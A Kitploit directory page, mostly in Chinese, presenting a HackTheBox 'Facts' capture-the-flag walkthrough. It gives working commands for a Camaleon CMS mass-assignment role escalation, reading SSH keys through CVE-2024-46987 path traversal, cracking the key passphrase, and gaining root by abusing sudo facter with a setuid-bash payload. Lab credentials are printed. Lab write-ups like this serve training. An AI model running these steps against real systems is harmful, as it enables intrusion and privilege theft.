Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
HackTheBox-Facts — HTB Facts is a Easy Linux box featuring Camaleon CMS and MinIO. Gain admin access via open registration and a mass assignment vulnerability, then extract MinIO credentials from admin settings. Use CVE-2024-46987 path traversal to steal an SSH private key, crack its passphrase, and escalate to root by abusing sudo permissions on facter via GTFOBins. | Kitploit
工具/GitHubGitHub/suriyaboon/hackthebox-facts
Privilege EscalationReconnaissancePassword AttacksVulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingCloud Security

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

关于

HTB Facts is a Easy Linux box featuring Camaleon CMS and MinIO. Gain admin access via open registration and a mass assignment vulnerability, then extract MinIO credentials from admin settings. Use CVE-2024-46987 path traversal to steal an SSH private key, crack its passphrase, and escalate to root by abusing sudo permissions on facter via GTFOBins.

Learning & Education
GitHubsuriyaboon/hackthebox-facts

HackTheBox-Facts

查看仓库
2个月前尚未审核
分享

HTB Facts — 完整 Writeup

难度: 中等
操作系统: Linux
标签: Web, MinIO, Camaleon CMS, 路径遍历, SSTI, 权限提升


目录

  1. 信息收集
  2. Web 枚举 — 端口 80
  3. MinIO 发现 — 端口 54321
  4. Camaleon CMS — 管理员访问
  5. 权限提升至管理员角色
  6. MinIO 凭证发现
  7. 任意文件读取 — CVE-2024-46987
  8. SSH 访问 (trivia 用户)
  9. 权限提升至 Root
  10. Flag

信息收集

首先进行全 TCP 端口扫描以识别开放服务。

root@kitploit:~
nmap -p- --min-rate 5000 -T4 10.129.244.96

结果:

端口服务备注
22SSHOpenSSH
80HTTPNginx 1.26.3 (Ubuntu)
54321未知识别为 MinIO

将目标添加到 /etc/hosts:

root@kitploit:~
echo "10.129.244.96 facts.htb" >> /etc/hosts

Web 枚举 — 端口 80

访问 http://facts.htb 显示一个基于 Camaleon CMS (Ruby on Rails) 构建的问答网站。关键标识:

  • Cookie 名称:_factsapp_session (Rails 会话)
  • 资源路径:/assets/themes/camaleon_first/
  • 元标签中的 CSRF 令牌
  • 服务器:nginx/1.26.3 (Ubuntu)

枚举站点地图以获取所有可用页面:

root@kitploit:~
curl -s http://facts.htb/sitemap.xml

发现的重要路径:

  • /admin → 重定向到 /admin/login
  • /rss
  • 各种问答页面:/animal-ejected、/anne-frank 等。

检查管理员登录面板:

root@kitploit:~
curl -v http://facts.htb/admin
# → 302 重定向到 /admin/login

MinIO 发现 — 端口 54321

使用 curl 探测未知端口,发现 MinIO,一个兼容 S3 的对象存储服务:

root@kitploit:~
curl -v http://facts.htb:54321

响应:

root@kitploit:~
<Error>
  <Code>AccessDenied</Code>
  <Message>Access Denied.</Message>
</Error>

报头确认:Server: MinIO

枚举可能的存储桶名称(全部返回 403,确认存在):

root@kitploit:~
for bucket in facts backup uploads media files images data private secret admin internal; do
  code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
  echo "$bucket: $code"
done

全部返回 403 Forbidden — 存储桶存在但需要凭证。


Camaleon CMS — 管理员访问

识别 CMS

从资源路径和会话 cookie 来看,该 CMS 被识别为 Camaleon CMS。

检查已知漏洞:

root@kitploit:~
searchsploit camaleon

结果:

root@kitploit:~
Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI)   | ruby/webapps/51489.txt

管理员面板版本确认为 2.9.0(登录后在页脚可见)。

创建账户

管理员登录页面 http://facts.htb/admin/login 包含一个 "创建账户" 链接。注册一个新账户:

  • 导航到 http://facts.htb/admin/users/sign_up
  • 填写任意有效凭证(例如 test123 / test123)
  • 提交 — 这将创建一个 Client 角色账户

注册后,登录到管理员仪表板。该账户具有有限的 Client 权限。


权限提升至管理员角色

批量赋值漏洞

Camaleon CMS 在密码更改端点存在 批量赋值 漏洞。通过拦截密码更改请求并注入 password[role] 参数,攻击者可以将自己的角色提升为 admin。

使用 Burp Suite 的步骤:

  1. 使用 Client 账户登录管理员面板。
  2. 导航到 Profile → Edit → Change Password。
  3. 输入任意新密码并点击 Process。
  4. 在 Burp Suite 中拦截 POST 请求。
  5. 在请求体中追加 &password[role]=admin:
root@kitploit:~
_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
  1. 转发请求 — 响应应为 200 OK。
  2. 使用更新后的凭证重新登录。

该账户现在拥有 admin 权限,可以完全访问 CMS 管理员面板,包括 Settings、Media 和 Filesystem Settings。


MinIO 凭证发现

使用管理员权限,导航到:

root@kitploit:~
Settings → General Site → Filesystem Settings

该页面显示硬编码的 MinIO(兼容 AWS S3)凭证:

root@kitploit:~
AWS S3 Access Key:    AKIA59D605615FFC8875
AWS S3 Secret Key:    O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name:   randomfacts
AWS S3 Region:        us-east-1
AWS S3 Endpoint:      http://localhost:54321

配置 AWS CLI 并枚举存储桶:

root@kitploit:~
export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'

aws s3 ls --endpoint-url http://facts.htb:54321

发现的存储桶:

root@kitploit:~
2025-09-11  internal
2025-09-11  randomfacts

internal 存储桶包含 trivia 用户的家目录:

root@kitploit:~
aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321

# 下载 SSH 私钥
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321

任意文件读取 — CVE-2024-46987

另外,可以通过 CVE-2024-46987 获取 SSH 私钥,这是 Camaleon CMS 中的一个经过身份验证的路径遍历漏洞,允许读取任意服务器文件。

克隆公开的 PoC:

root@kitploit:~
git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987

读取敏感文件:

root@kitploit:~
# 步骤 1:读取 /etc/passwd 以枚举系统用户
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd

输出(相关行):

root@kitploit:~
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash

识别出两个用户:trivia 和 william。由于 trivia 有登录 shell 和家目录,检查 SSH 私钥:

root@kitploit:~
# 步骤 2:读取 trivia 的 SSH 私钥
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519

将密钥输出保存到文件:

root@kitploit:~
chmod 600 id_ed25519

SSH 访问 (trivia 用户)

破解 SSH 密钥密码

SSH 私钥使用密码短语加密。使用 ssh2john 和 john 破解:

root@kitploit:~
ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt

破解的密码短语: dragonballz

通过 SSH 登录

root@kitploit:~
ssh -i id_ed25519 [email protected]
# 输入密码短语:dragonballz

获取用户 flag:

root@kitploit:~
cat /home/william/user.txt

权限提升至 Root

Sudo 权限

检查 trivia 用户的 sudo 权限:

root@kitploit:~
sudo -l

输出:

root@kitploit:~
User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

该用户可以无需密码以 root 身份运行 /usr/bin/facter。facter 是一个基于 Ruby 的系统信息工具。

GTFOBins — facter

根据 GTFOBins,facter 可以通过 --custom-dir 加载自定义 Ruby fact 文件,这些文件将以调用用户(此处为 root)身份执行。

利用:

root@kitploit:~
# 创建 exploit 目录和 Ruby payload
mkdir -p /tmp/exploit_facts
cat > /tmp/exploit_facts/evil.rb << 'EOF'
system("chmod +s /bin/bash")
EOF

# 以 root 身份使用自定义目录执行 facter
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts/ x

# 验证 bash 上是否设置了 SUID 位
ls -la /bin/bash
# -rwsr-sr-x 1 root root ...

# 生成 root shell
/bin/bash -p

获取 Root Flag

root@kitploit:~
whoami
# root

cat /root/root.txt

Flag

Flag位置
user.txt/home/william/user.txt
root.txt/root/root.txt

攻击链总结

root@kitploit:~
Nmap Scan
    ↓
Port 80: Camaleon CMS 2.9.0
    ↓
Register Client Account → Admin Panel
    ↓
Mass Assignment: password[role]=admin → Admin Role
    ↓
Admin Settings → MinIO Credentials Exposed
    ↓
CVE-2024-46987: Path Traversal → Read /home/trivia/.ssh/id_ed25519
    ↓
ssh2john + John → Passphrase: dragonballz
    ↓
SSH Login as trivia
    ↓
sudo facter --custom-dir (GTFOBins) → chmod +s /bin/bash
    ↓
/bin/bash -p → root

CVE 和参考资料

CVE描述
CVE-2024-46987Camaleon CMS 经过身份验证的路径遍历 / 任意文件读取
CVE-2023-30145Camaleon CMS v2.7.0 通过 formats 参数的 SSTI(此靶机未使用)
  • GTFOBins — facter
  • CVE-2024-46987 PoC
  • Camaleon CMS GitHub
下载工具